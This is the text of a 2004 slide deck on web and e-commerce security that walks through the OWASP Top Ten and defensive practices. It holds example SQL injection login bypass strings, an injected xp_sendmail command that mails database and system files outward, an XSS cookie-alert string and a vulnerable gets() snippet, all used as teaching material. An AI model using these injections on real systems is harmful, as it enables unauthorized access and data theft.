Web Application Security E-Commerce Risks and Vulnerabilities April 2004 Proprietary - Duplication...

Web Application SecurityE-Commerce Risks and Vulnerabilities

April 2004

Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com

Executive Summary & Introductions


Proprietary - Duplication Prohibited – Copyright Icons, Inc. 2004 – www.iconsinc.com v. 2.3

3

Agenda

• Introduction

• Problem Statement

• Information Security

• Application Security

• The Guiding Tenets of Application Security

• The Top Ten

• Potential Help – Validators (PHP & J2EE)

• Conclusions and Questions


4

Can your Architects & Developers Detect…

• Buffer-overflows ?• Parameter Tampering ?• Stealth Commanding ?• Cross-Site Scripting ?• SQL Injection ?• Cookie Poisoning ?• Hidden Field Manipulation ?


5

If not, you are subject to…

• Crashing Servers/Applications• User Impersonation• E-Shoplifting• Accessing Sensitive Data• Taking Control of Your Operating System• Taking Control of Your Database


6

Name Your Own Price On Pay Pal

• PayPal provided merchants with cut-and-paste code for sending transaction data to the payment service

• The PayPal payment links easily identified where the software was stored on the server

• While purveyors of downloadable digital goods who accept PayPal payments are especially vulnerable, PayPal’s Web Accept system may hold potential risks for many of its more than 3 million business customers

• Merchants may be vulnerable to price tampering and other attacks

• Armed with nothing more than a text editor and a Web browser, a crafty fraud artist can change prices of items at hundreds of e-shops that use PayPal

Name Your Own Price on PayPal, Wired, April 19, 2002 http://www.wired.com/news/business/0,1367,51977,00.html

Problem Statement


8

Why Is Application Security Important?

• New threats emerge every day• Some hackers are not satisfied with penetrating your

network; they seek information that resides in your applications/databases

• Applications are often plagued by poor designs, software bugs, and poor programming practices

• Applications may be a fast and easy entry point into a secure network

• Applications contain and process your most critical (important and sensitive) information

• Programming logic may cause vulnerabilities just as troublesome as difficulties inherent with certain technologies

Why Is Application Security Often Ignored?

• Usually there are time and budget constraints in application development that cause proper testing and secure programming training to fall to the way-side

• Security is typically not prioritized by programming teams; they are paid to deliver functionality first and foremost

• E-commerce initiatives are often rushed into production

• Organizations often expect the software manufacturer “build in” security; security is 80% process driven, 20% software driven


Information Security Defined



11

What is Information Security?

A combination of…

• People

• Processes

• Technologies– Infrastructure– Applications

Infrastructure and Applications are integrated in an e-commerce architecture


12

Four Basic Security Concepts

Poor application security measures can lead to breaches in data:

• Integrity• Confidentiality• Availability• Accountability


13

Data Integrity• Protection of information from tampering, forgery, or

accidental changes.– Defacement of website

• The White House• Amnesty International

– E-Shoplifting

• The number of vandalized Web sites recorded by defacement archive Alldas.de jumped in 2001 to 22,379, over five times more than the 4,393 defacements logged in 2000.

• January 2004, there were 13,654 known attacks on Linux based WWW systems alone.


14

Availability

• Ensures that authorized users have access to the application and the data when required.

• Example: Microsoft Developer Store


15

Confidentiality

• Ensures that applications and data is accessible to only the users intended and authorized to have access.

• Credit Card Theft– CD Universe– CreditCards.com– Guess?– Many Others


16

Accountability Within the Application

• Ensure accuracy of data and guide against unauthorized modifications

• Who did what with your data?• HIPAA Privacy Regulations: Protected

Healthcare Information (PHI)– Digital, printed, oral– Limited technical guidance– Security enables privacy

Applications Must Exist within a Secure Infrastructure

• Harden systems• Use concept of least-privilege• Patch management• Firewalls• Intrusion detection• Virus protection• And Others Tactics…


Application Security Defined


What is the goal of Application Security?

Prevent the loss, modification, or misuse of application systems “data” or application architecture. Here we are focusing on web-enabled systems

Making an e-commerce application secure is much harder than just adding a password protected login screen!



20

Securing the Application

• Authentication & Identification• Authorization & Access Control• Logging & Auditing Procedures• Managing User Sessions• Encryption Routines • And More…


21

Web Application Security

The Basic Tenets


22

1. Validate Input and Output

• All data input and output should be checked very carefully for appropriateness. This check should be to see if the data is what is expected (length, characters). Making a list of bad characters is not the way to go; the lists are rarely complete. A secure program should know what it expects, and reject other input. For example, if an input field is for a Social Security Number, then any data that is not a string of nine integers is not valid. A common mistake is to filter for specific strings or payloads in the belief specific problems can be prevented.


23

2. Fail Securely (Closed)

• Applications should default to secure operation. That is, in the event of failure or misconfiguration, they should not reveal more information than necessary with regard to:– Error messages (for efficient debugging purposes)– The application configuration (directory, version/patch levels)– The operating environment (network addressing, OS

version/patch levels)• As well, they should not allow transactions or processes to continue

– With more privileges than normal– With more access than normal– Without proper validation of input parameters and output results– Bypassing any monitoring or logging facilities


24

3. Keep it Simple

• While it is tempting to build elaborate and complex security controls, the reality is that if a security system is too complex for its user base, it will either not be used or users will try to find measures to bypass it. Often the most effective security is the simplest security. Do not expect users to enter 12 passwords and let the system ask for a random number password for instance.


25

4. Use and Reuse Trusted Components

• Invariably other system designers (either on your development team or on the Internet) have faced the same problems as you. They may have invested a large amount of time on research and developing robust solutions to the problem. In many cases they will have improved components through an iterative process and learned from common mistakes along the way. Using and reusing trusted components make sense both from a resource stance and from a security stance. When someone else has proven they got it right; take advantage.


26

5. Defense in Depth

• Relying on one component to perform its function 100% of the time is unrealistic. While we hope to build software and hardware that works as planned, predicting the unexpected is difficult . Good systems don’t predict the unexpected, but plan for it. If one component fails to catch a security event, a second one would.


27

6. Only as Secure as the Weakest Link

• We’ve all seen it, “This system is 100% secure, it uses 128 bit SSL”. While it may be true that the data in transit from the user’s browser to the web server has appropriate security controls, more often that not the focus of security mechanisms is at the wrong place. As in the real world where there is no point in placing all of your locks on your front door to leave the backdoor swinging in its hinges, you need to think carefully about what you are securing. Attackers are lazy and will find the weakest point and attempt to exploit it.


28

7. Security by Obscurity Won’t Work in the Long Run

• It’s naïve to think that hiding things from prying eyes doesn’t buy you some amount of time. Lets face it some of the biggest exploits unveiled in software have been obscured for years. But obscuring information is very different from protecting it. You are relying on the fact that no one stumbles onto your obfuscation. This strategy doesn’t work in the long term and has no guarantee of working in the short term.


29

8. Least Privilege

• Systems should be designed in such a way that they run with the least amount of system privilege they need to do their job. This is the need to know approach. If a user account doesn’t need root privileges to operate, don’t assign them in the anticipation they may need them. Giving the pool man an unlimited bank account to buy the chemicals for your pool when you’re on vacation is unlikely to be a positive experience.


30

9. Compartmentalization

• Similarly compartmentalizing users, processes and data helps contain problems if they do occur. Compartmentalization is an important concept widely adopted in the information security realm. Imagine the same pool man scenario. Giving the pool man the keys to the house while you are away so he can get to the pool house, may not be a wise move. Containing his access to the pool house limits the types of problems that may occur if something was to happen.


31

A couple examples of those that Didn’t Follow these Tenets


32

CD Universe

• Theft of 300,000 credit card numbers from an Internet music retailer which were posted on a Web site after an attempt to extort money from the company failed

• The hacker said he exploited a security flaw in the software used to protect financial information at CD Universe’s Web site

• Reputation Risk– Would you buy from CD Universe online now?

• Transactional Risk– Someone has to pay for the purchases made with the stolen credit card

numbers

Rebuffed Internet extortionist posts stolen credit card data, CNN, January 10, 2000 http://www.cnn.com/2000/TECH/computing/01/10/credit.card.crack.2/


34

Microsoft Developer Store

• Unavailable following reports that a security flaw gave visitors the ability to take control of the site, including access of customer data

• 10-12 hour window during which some people knew about this hole and it was still exploitable

• Should you really trust the vendor to implement your security?

• This occurred because of a programming error; The site was compromised by way of a search engine text box

Brian McWilliams, Newsbytes, Microsoft Developer Store shuttered following database gaffe, January 11, 2002 http://online.securityfocus.com/news/307


35

Citibank

• $10 million stolen from accounts• Recovered all but $400,000• Entrance was gained via poor application level

authentication controls• Would you keep your money with this institution?

David H. Freedman, How To Hack A Bank, Forbes, April 03, 2000 http://www.forbes.com/asap/2000/0403/056.html

How Does ThisAll Come Together?

• Understanding the relationships of security controls between the various levels of a distributed application: data, database, backend systems, front-end systems (e.g., web server), application code, user interface (e.g., web browser)

DeveloperStore.com was compromised at the lowest layer (the furthest inside) of their application – at the database. An attacker took advantage of ill-prepared relationships between these components.


So precisely where does Security Matterin the Development Lifecycle?

First things First: How may we analyze the development lifecycle?

• Popular Fiction: Waterfall Model

– Linear, Highly Structured, Deterministic

– Traditional Management Viewpoint

• Closer to Reality: Cluster Model

– Development divided into multiple iterations of mini-lifecycles where developers constantly integrated increasingly refined knowledge

– Traditional Developer Viewpoint


Then where shouldsecurity be considered?

At every stage of a project after business requirements are understood!

• Selection of Technical Alternatives• Implementation/Development

– Functional Analysis– Use-Case Analysis– Application Design – Coding Standards– Source Code– User Manuals & Procedures– Operations Manuals & Procedures

• Maintenance/Operations• End of Life• After Incidents

}these steps are combined in practice


Application SecurityThe Top Ten Threats



40

Open Web Application Security Project

• http://www.owasp.org• Documentation

– The Guide– The Top Ten

• Software– WebScarab– WebGoat– CodeSeeker– Numerous Utilities – Check out the CVS tree at

Sourceforge.

http://www.owasp.org/


41

Why OWASP?

• Very competent team members

• Producing Real World Results for Administrators, Developers, and Security Testers alike. (maybe hackers too)

• Industry recognition.

• U.S. Federal Government Recognition (FTC & Guess Jeans)


42

The OWASP Top Ten

• Unvalidated Input• Broken Access

Control• Broken Authentication

and Session Management

• Cross-Site Scripting• Buffer Overflows

• Injection Flaws• Improper Error Handling

(not covered)• Insecure Storage• Denial of Service (not

covered)• Insecure Configuration

Management (not covered)


43

But First, a primer

• HTTP v1.1 - RFC 2616 (http://www.ietf.org/)GET / HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040119

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Cookie: PREF=ID=31b293b93f375666:LD=en:NR=100:TM=1067982432:LM=1076064491:S=N7ujKC9OkInHXTRn

HTTP/1.1 200 OK

Cache-control: private

Content-Type: text/html

Content-Encoding: gzip

Server: GWS/2.1

Content-length: 1217

Date: Tue, 24 Feb 2004 19:24:01 GMT

http://www.ietf.org/


44

Unvalidated Input – getting started with a little PHP.

{

return strtr($string,

"¥µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýÿ",

"YuAAAAAAACEEEEIIIIDNOOOOOOUUUUYsaaaaaaaceeeeiiiionoooooouuuuyy");

}

{

$pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);

$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';

$len = strlen($string);

if((($min != '') && ($len < $min)) || (($max != '') && ($len > $max)))

return FALSE;

return $string;

}


45

Unvalidated Input – the root of:

• Cookie Poisoning• Parameter Tampering• Cross Site Scripting• SQL Injection• Stealth Commanding• And others………


46

Unvalidated input originates from:

• Carry-over from the mainframe days – blindly trusting user input. This leads to:– “buffer-overflows” allowing execution of arbitrary

code (e.g., Code Red)

– “privilege escalation” becoming the administrator of the system

– “impersonation” of other users


47

Best Practices

• Define What is allowed

• As a rule don’t try to pick out everything that is not allowed.


48

What is allowed?

• Character Set ( UNICODE, UTF-8)• Input Length• Credit Card Format• Data Type (string, integer, etc)• Date• Numeric Range


49

Unvalidated Input: References

• J2EE – http://stinger.sourceforge.net • Apache – http://www.modsecurity.org• Struts -

http://www.onjava.com/pub/a/onjava/2002/12/11/jakartastruts.html

• PHP – OWASP CVS• .NET -

http://www.devarticles.com/c/a/ASP.NET/Understanding-ASP.Net-Validation-Controls/

http://stinger.sourceforge.net/

http://www.modsecurity.org/






50

A Quick Demo – Introducing WebScarab


51

Access Control

• Identification and authentication (I&A): These determine who can log on to a system.

• Authorization: This determines what an authorized user can do.

• Accountability: This identifies what a user did.


52

Basic Means of Identification & Authentication

• Authentication challenges

• Three means of authenticating a user’s identity

• Problems associated with each


53

HTTP Basic Authentication

• No ‘logout’ mechanism

• Transport security

• Replay

HTTP Client

(web browser)

Protected Realm

(web server)

Request

Page

Response

401 Unauthorized AccessWWW – Authenticate

Request

WWW – Authentication Accept Credentials?

Yes

No

Response

Requested Page

Response

401 Unauthorized

WWW-Authenticate: Basic realm=" WallyWorld "

Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

HTTP/1.1 200 OK

HTTP/1.1 401 Authorization Required

HTTP/1.1 401 Authorization Required


54

Forms Based Authentication

• Embedded code– HTML Forms

• TYPE = “PASSWORD”

• POST Request

• Classic Protocol Attacks

• Secure storage of hashed password repository


55

Basic Credential Management

• Username structure

• Storing Usernames & Passwords – MD5 and SHA1 are your friends

• Ensuring Password Quality


56

Best Practice Examples

• Forms Based Logins

• Automated Password Reset Systems


57

Forms Based Login

• The database stores an MD5 hash of the password.• A client requests the login page• The server calculates a timestamp and appends a unique number, creating the the

salt, and sends it to the client along with the page. • JavaScript code on the client computes the MD5 hash of the password entered

by the user. • It then concatenates the salt to the hash and re-computes the MD5 hash. • This result is then sent to the server. • The server picks the hash of the password from its database, concatenates the

salt and computes the MD5 hash. • If the user entered the correct password these two hashes should match. The

server compares the two and if they match, the user is authenticated.• See http://pajhome.org.uk/cgi-bin/md5auth.pl for an example in PERL (BSD

License).• Take a peek at Yahoo’s login source

http://pajhome.org.uk/cgi-bin/md5auth.pl


58

Automated Password Reset Systems

1. The user clicks on a “forgot my password” link2. Ask the user to supply some details like personal details or

ask a hint question. 3. Send an mail to the users authorized mail id with a link

which will take the user to a page for resetting the password.

4. This link should be active for only a short time, and should be SSL- enabled.

5. The security benefits of this method are: – the password is not sent in the mail; – since the link is active for a short time, there is no harm even if the

mail remains in the mailbox for a long time.


59

Broken Access Control

• Failure in restricting access to resources based on the identity of a particular entity

• Principle of Least Privilege– Entity be granted the minimum necessary privileges

required to perform a job

– Limits the damage that can result from unauthorized use.


60

Mandatory Access Control

• Mandatory access control (MAC) is an access policy determined by the system, not the owner. MAC is used in multilevel systems that process highly sensitive data, such as classified government and military information.

• Sensitivity labels: In a MAC-based system, all subjects and objects must have labels assigned to them.

• Data import and export: Controlling the import of information from other systems and export to other systems (including printers) is a critical function of MAC-based systems, which must ensure that sensitivity labels are properly maintained and implemented so that sensitive information is appropriately protected at all times.


61

Discretionary Access Control

• An access policy determined by the owner of a file (or other resource). The owner decides who is allowed access to the file and what privileges they have.

• File and data ownership: Every object in a system must have an owner. The access policy is determined by the owner of the resource (including files, directories, data, system resources, and devices).

• Access rights and permissions: These are the controls that an owner can assign to individual users or groups for specific resources.


62

Role Based Access Control

• Role-based access control assigns group membership based on organizational or functional roles. This strategy greatly simplifies the management of access rights and permissions:

• Access rights and permissions for objects are assigned any group or, in addition to, individuals.

• Individuals may belong to one or many groups. Individuals can be designated to acquire cumulative permissions (every permission of any group they are in) or disqualified from any permission that isn't part of every group they are in.


63

RBAC Access Control - J2EE EJB Security Architecture

• Principals and Roles– An authenticated identity (principal) is “mapped” to– A role or set of roles or groups associated with permissions within the

application.• Declarative security

– Deployment descriptor defines the security properties of the EJB components • Programmatic Security

– getCallerPrincipal– isCallerInRole

• System Security– EJB “sandboxing” and some are wide open by default.


64

Security - Presentation Layer• Authenticating users within the servlet – Basic, Forms-Based, Client Certificate, (Digest)• getRemoteUser, isUserInRole, getUserPrincipal• Defined within web.xml:

<security-role><role-name>SiteAdmin</role-name>

</security-role><security-role-ref>

<role-name>SiteAdmin</role-name><role-link>Administrator-login</role-link>

</security-role-ref>

<servlet><web-resource-collection>

<web-resource-name>Administration</web-resource-name><url-pattern>/siteadmin/*</url-pattern><http-method>GET</http-method> <http-method>POST</http-method>

<auth-constraint> <role-name>SiteAdmin</role-

name> </auth-constraint>

</web-resource-collection></security-constraint></servlet>


65

Security – EJB Layer

• Role definitions are very similar to servlet and are defined within the assembly descriptor portion of the deployment descriptor file.

• Mapping roles to methods – for example, the Site-Admin role can call the setBankBalance method and the getBankBalance method, but the Standard-User role can only call the getBankBalance. Method.


66

EJB Security Example


67

Session Management

• HTTP is a stateless protocol

• Browser storage is not secure

• Common Practices

• State Mechanism Schemes


68

HTTP Cookies

• Introduction

• How do Cookies work?

• General Considerations


69

Cookies, con’t.

• Cookies used to implement access control schemes

• Eavesdropper armed with packet sniffer

• Transaction processing system


70

Cookies Best Practices

• Best Practices– In ISP or large environments where many users share the same

Web server, it is important to use as specific a path as possible in the cookie. For instance if the program that processes cookies lives at URL http://mmm.company.com/app/login.asp then the developer should arrange for the cookie path to be set to /app rather than a more general path like /. Additional checks can be performed to further insure that sessions cannot be intercepted through the acquisition of valid session keys:

• Expire sessions that have not been accessed within a reasonable period of time (e.g. 5 minutes).

• Use additional information inside the HTTP stream to authenticate sessions (e.g. userid, IP address). BUT don’t rely upon these alone!!!


71

Session Management – a broken Cookie scheme

• “The cookie is encrypted, so it can’t be broken”– Tue Mar 23 14:54:52 EST 1999 Set-Cookie:

Session=D4B0FEAEF18B591F8FDC0AD1-10; path=/

– Tue Mar 23 14:54:58 EST 1999 Set-Cookie: Session=D4B0FEAEF18B591F8FDCB96C-11; path=/

– Tue Mar 23 14:55:03 EST 1999 Set-Cookie: Session=D4B0FEAEF18B591F8FDCE3D1-12; path=/

• The previous cookies are encrypted using Triple DES in CBC mode.


72

Cookie Construction

• Name – A string indicating the name of the cookie. The cookie name and the path comprise a unique name. Setting a cookie with the same name and path as an existing cookie replaces the existing occurrence. Name is a required argument.

• Value – A string specifying the new value of the cookie.

• Expire – The expiration time of the cookie. The date and time is specified in seconds since 12 AM on January 1, 1900. If no expiration date is given, the cookie lasts until the end of the current browser session.

• Path – The path specifies which URLs in the domain should receive the cookie. This defaults to the path of the current URL. A path of ‘/’ means all URLs in the domain should receive the cookie.

• Domain – The domain name specifies the host(s) that should receive the cookies. This string is an optional argument. The default is the local domain.

• Secure – A string that indicates whether the cookie can be stored on disk in a cookies file. The defaul value is ‘INSECURE’, meaning yes the cookie can be written to disk, while often, the DESIRED setting is ‘SECURE’ meaning the cookie is destroyed as the browser is closed and is only held in memory.


73

Securing Session Tokens

• Cryptographic Algorithms for Session Tokens

– All session tokens (independent of the state mechanisms) should be user unique, non-predictable, and resistant to reverse engineering. A trusted source of randomness should be used to create the token (like a pseudo-random number generator, Yarrow, EGADS, etc.). Additionally, for more security, session tokens should be tied in some way to a specific HTTP client instance to prevent hijacking and replay attacks (e.g. token creation algorithm should include a variables such as the concatenation of the MAC address of the computer and process id of the browser window, etc.). In general, a session token algorithm should never be based on or use as variables any user personal information (user name, password, home address, etc.)

• Appropriate Key Space– Even the most cryptographically strong algorithm still allows an active session token to be easily determined if

the keyspace of the token is not sufficiently large. Attackers can essentially "grind" through most possibilities in the token's key space with automated brute force scripts. A token's key space should be sufficiently large enough to prevent these types of brute force attacks, keeping in mind that computation and bandwidth capacity increases will make these numbers insufficient over time.


74

Managing User Sessions – Session Management Schemes

• Session Time-Out– Session tokens that do not expire on the HTTP server can allow an attacker unlimited time to guess or brute

force a valid authenticated session token. An example is the "Remember Me" option on many retail websites. If a user's cookie file is captured or brute-forced, then an attacker can use these static-session tokens to gain access to that user's web accounts. Additionally, session tokens can be potentially logged and cached in proxy servers that, if broken into by an attacker, may contain similar sorts of information in logs that can be exploited if the particular session has not been expired on the HTTP server.

• Regeneration of Session Tokens– To prevent Session Hijacking and Brute Force attacks from occurring to an active session, the HTTP server can

seamlessly expire and regenerate tokens to give attacker a smaller window of time for replay exploitation of each legitimate token. Token expiration can be performed based on number of requests or time.

• Session Forging/Brute-Forcing Detection and/or Lockout– Many websites have prohibitions against unrestrained password guessing (e.g., it can temporarily lock the

account or stop listening to the IP address). With regard to session token brute-force attacks, an attacker can probably try hundreds or thousands of session tokens embedded in a legitimate URL or cookie for example without a single complaint from the HTTP server. Many intrusion-detection systems do not actively look for this type of attack; penetration tests also often overlook this weakness in web e-commerce systems. Designers can use "booby trapped" session tokens that never actually get assigned but will detect if an attacker is trying to brute force a range of tokens. Resulting actions can either ban originating IP address (all behind proxy will be affected) or lock out the account (potential DoS). Anomaly/misuse detection hooks can also be built in to detect if an authenticated user tries to manipulate their token to gain elevated privileges.


75

Session Management Schemes, con’t.

• Session Re-Authentication– Critical user actions such as money transfer or significant purchase decisions should require

the user to re-authenticate or be reissued another session token immediately prior to significant actions. Developers can also somewhat segment data and user actions to the extent where re-authentication is required upon crossing certain "boundaries" to prevent some types of cross-site scripting attacks that exploit user accounts.

• Session Token Transmission– If a session token is captured in transit through network interception, a web application account

is likely then trivially prone to a replay or hijacking attack. Typical web encryption technologies include but are not limited to Secure Sockets Layer (SSLv2/v3) and Transport Layer Security (TLS v1) protocols in order to safeguard the state mechanism token.

• Session Tokens on Logout– With the popularity of Internet Kiosks and shared computing environments session tokens take

on a new risk. A browser only destroys session cookies when the browser thread is torn down. Most Internet kiosks maintain the same browser thread. It is therefore a good idea to overwrite session cookies when the user logs out of the application.


76

Best Practices

• Always redirect the user to a new page after login • Use one session token with two values during authentication. One

value before authentication and one after. • Never display or store the password in cleartext.• Never e-mail a password.• Eliminate Browser caching potential using all known tags. Set the

“autocomplete=false” flag.• What about keystroke loggers????• There should be some real random input to the session IDs if they are

to be used as the sole means of session tracking and management. • Any meaningful data being used in session IDs should be hashed (one-

way encrypted).


77

Cross – Site Scripting

• Hijacking/Breach of Trust. When hackers inject malicious code into a site, the false scripts are executed in a context that appears to have originated from the targeted site, giving attackers full access to the document retrieved, and maybe even sending data contained in the page back to the attacker.


78

XSS types

• Stored – Script Injection into static web site storage – message boards, comment fields, etc.

• Reflected – “bounced” off a web server, triggered by a link, or email. The code runs in the context of the web server

• Invaluable hacker tool for stealing session Ids.• Usually JavaScript, but can be VBScript, ActiveX,

Shockwave, etc.


79

Preventing XSS

• Don’t Filter Input, EXPECT only known characters. Don’t try to figure out all of the Unicode variants of “<“ and “>” for example.

• Encode all output sent back to the user:


80

XSS Output Encodings

• < <

• > >

• ( (

• ) )

• # #

• & &


81

Buffer Overflows

• Execution stack corruption of of the web application leading to at a minimum a Denial of Service and potentially to Remote Command Execution (usually under the identity of the web server)

• Always a good reason to investigate Java and J2EE environments


82

A Simple Example

void some_function(int a, int b, int c) { char buffer1[5]; gets(buffer1); /* DON'T DO THIS */ } void main() { Some_function(1,2,3); }


83

Buffer Overflows

• The Definitive Guide:– “Smashing The Stack For Fun And Profit”

• What’s a Stack?– sfp (the saved frame pointer) – ret (the return address)

bottom of memory

top of memory

buffer1 sfp ret a b c

growth [ ] [ ] [ ] [ ] [ ] [ ] ...

top of stack bottom of stack

{

char buffer1[5];

gets(buffer1); /* DON'T DO THIS */

}

void main() {

Some_function(1,2,3);

}


84

Bad C functions

• strcpy(3), strcat(3), sprintf(3) (with cousin vsprintf(3)), and gets(3).

• The scanf() set of functions (scanf(3), fscanf(3), sscanf(3), vscanf(3), vsscanf(3), and vfscanf(3)

• And for Microsoft:

• wcscpy(), _tcscpy(), _mbscpy(), wcscat(), _tcscat(), _mbscat(), and CopyMemory()


85

Good C functions

• Don't use strcpy() use strncpy() • Don't use strcat() use strncat() • Don't use sprintf() use snprintf() • Don't use gets() use fgets()


86

Injection Flaws

• Command Injection - Formail.pl– 2002 - “Below is the result of your feedback form”

– 1995 - User supplied data (from the "recipient" hidden field) is passed to a Perl OPEN function without proper input verification, allowing the use of the command separation shell metacharacter (;) to execute arbitrary commands on the remote host

• SQL Injection


87

Why Database Protection?

• Databases hold valuable info:– Credit card numbers, passwords, etc.

– Compromises can be VERY costly

• Rapid growth in database security breaches• Database security gaining momentum within

security community


88

SQL Injection

SQL Injection: Inserting user-supplied SQL statements into a dynamically-generated SQL query making unintended use possible


89

Front End HTML:<html><body><form action=login.asp>

Username: <input type=text name=username><br>Password: <input type=password name=password><br><input type=submit value=Login><br>

</form></body></html> IIS ASP:<%Dim uname, pass ' declare variablesuname = request.querystring(“username”)pass = request.querystring(“password”)set LOGIN = CreateObject(“ADODB.RecordSet”)LOGIN.ActiveConnection = “ODBCCONNECTION”LOGIN.CursorType = 0LOGIN.source = “select * from users where uname='"&uname&"’ and pass= '"&pass&"'”LOGIN.OpenIf LOGIN.BOF = True or LOGIN.EOF = True then

response.redirect “default.asp” ' failed loginelse

response.redirect “clients.asp” ' logged inend ifLOGIN.Close

%>


90

Common SQL Statements

• SELECT credit_card_number FROM Users WHERE username = ‘rjohnson’;

• UPDATE SubscriptionData SET subscription_is_paid = 1 WHERE username = ‘charrington’;

• INSERT INTO AuthorizedUsers(username) VALUES(‘my_hacker_login’);

• DELETE * FROM Orders;


91

Basic MSSQL Syntax

• Double Dashes (--) indicate a comment; rest of line is ignored

• ‘anything in single quotes’ indicates a string value

• Semicolons (;) separate SQL statements


92

MS SQL Query Example

• Let’s say you enter charrington into the Username field and mypass into the Password field

• This SQL query is dynamically generated:SELECT * FROM UsersWHERE username = ‘charrington’ AND password = ‘mypass’


93

SQL Injection

• Now, let’s bypass the password check…• Enter charrington‘ --

into the Username field and nothing into the Password field

• This SQL query is dynamically generated:SELECT *

FROM Users

WHERE username = ‘charrington’ --’ AND password = ‘’


94

Or……..

Login: ' OR ‘’=’

Password: ' OR ‘’=’

This will give SQLQuery the following value: • SELECT uname FROM Users WHERE uname= ‘’

OR ‘’='’ AND pass = ‘’ OR ‘’='’ • What about: EXECUTE master.dbo.xp_sendmail

“[email protected]”,"”,"select * from sysdatabases”, “C:\boot.ini” --’ (MS SQL 7)


95

What to do?

1. The following function will strip unnecessary characters from the passed input.Function SQLFilter(str)

Dim regExSet regEx = New RegExpregEx.Pattern = “A-Z,0-9"regEx.IgnoreCase = TrueSQLFilter = regEx.Replace(str, “”)

End Function 1. 2. Do not allow a single ' to be accepted as input - always replace each submitted single '

with ‘’ (2 x ' and not ”).2. 3. If the field is numeric or is a date, then check that each submitted value IS numeric or is

a date. Use the IsNumeric() and the IsDate() functions.4. Implement Error Handling so that the system, on detecting an error (such as wrong

input) does not provide even more information. This already occurs within the database access routines. SQL errors and system exceptions, generate email notification to administrators, while the end user receives a generic error page


96

The Best Solution

• Use Parameterized stored procedures

• Use Prepared Statements


97

The Most Important Slide of this Presentation: SQL Injection References

• http://www.nextgenss.com/papers/advanced_sql_injection.pdf

• http://www.sqlsecurity.com/faq-inj.asp• http://www.spidynamics.com/papers/

SQLInjectionWhitePaper.pdf• http://www.nextgenss.com/papers/

advanced_sql_injection.pdf• http://www.nextgenss.com/papers/

more_advanced_sql_injection.pdf


98

Insecure Storage (Improper use of Cryptography)

• The number one risk is failure to use cryptographic techniques when necessary

• “Keep it simple” means DO NOT try to invent anything new

• Know when to hash, know when to encrypt.

• Randomness??


99

Randomness and Entropy

• UNIX /dev/random (urandom)

• CAPICOM for Win32 - Utilities.GetRandom

• C# - CryptoServiceProvider

• Java - SecureRandom


100

Input Validators

A Big Step Towards Prevention


101

Validators

• { $pattern = '/(;|\||`|>|<|&|^|"|'."\n|\r|'".'|{|}|[|]|\)|\()/i'; $string = preg_replace($pattern, '', $string);

$string = '"'.preg_replace('/\$/', '\\\$', $string).'"';



return FALSE;

return $string;

}

• OR {

$string = preg_replace("/[^a-zA-Z0-9]/", "", $string);



return FALSE;

return $string;

}

• Check out the OWASP filters project.


102

Validators – ASP.NET & J2EE

• ASP.NET – v1.1 - XSS filtering support– v2.0 – Added SQL filtering support– Problems from the start though:

<%00SCRIPT>alert(document.cookie)</SCRIPT>

• J2EE


103

A Simple Validator – Luhn’s Formula

• Credit card validator – Visa, MasterCard, American Express, Diners Club, Discover

• ANSI X.14

1. Starting with the second to last digit and moving left, double the value of all the alternating digits.

2. Starting from the left, take all the unaffected digits and add them to the results of all the individual digits from step 1. If the results from any of the numbers from step 1 are double digits, make sure to add the two numbers first (i.e. 18 would yield 1+8). Basically, your equation will look like a regular addition problem that adds every single digit.

3. The total from step 2 must end in zero for the credit-card number to be valid.


104

Stinger

• J2EE Request validation engine

• Not just a single field-value pair, but a cohesive way to perform validation of the entire HTTP request including headers, form fields, cookies, etc.

• http://stinger.sourceforge.net

http://stinger.sourceforge.net/


105

• <?xml version="1.0"?><ruleset> <name>Login Page Username and Password Rules</name><path>/login</path><extraHeaderAction>ignore</extraHeaderAction><extraCookieAction>ignore</extraCookieAction><extraParameterAction>fatal</extraParameterAction>

<rule><name>username</name><type>parameter</type><regex>^[\d]{8}$</regex><malformedAction>continue</malformedAction><missingAction>fatal</missingAction><hidden>true</hidden></rule><rule><name>password</name><type>parameter</type><regex>^[\w]{4,8}$</regex><malformedAction>continue</malformedAction><missingAction>fatal</missingAction><hidden>true</hidden></rule> </ruleset>

• Source: http://aspectsecurity.com/stinger/article.html

Defining Stinger Rules


106

Invoking Stinger from your servlet

• Stinger stinger = Stinger.getInstance ( this.getServletConfig() );

ErrorList errors = null;try{errors = stinger.validate( request );}catch …………


107

Review of Key Messages

• Introduction

• Problem Statement

• Information Security

• Application Security

• The Guiding Tenets of Application Security

• The Top Ten

• Potential Help – Validators

Questions and Answers


Web Application Security E-Commerce Risks and Vulnerabilities April 2004 Proprietary - Duplication...

Documents

Transcript of Web Application Security E-Commerce Risks and Vulnerabilities April 2004 Proprietary - Duplication...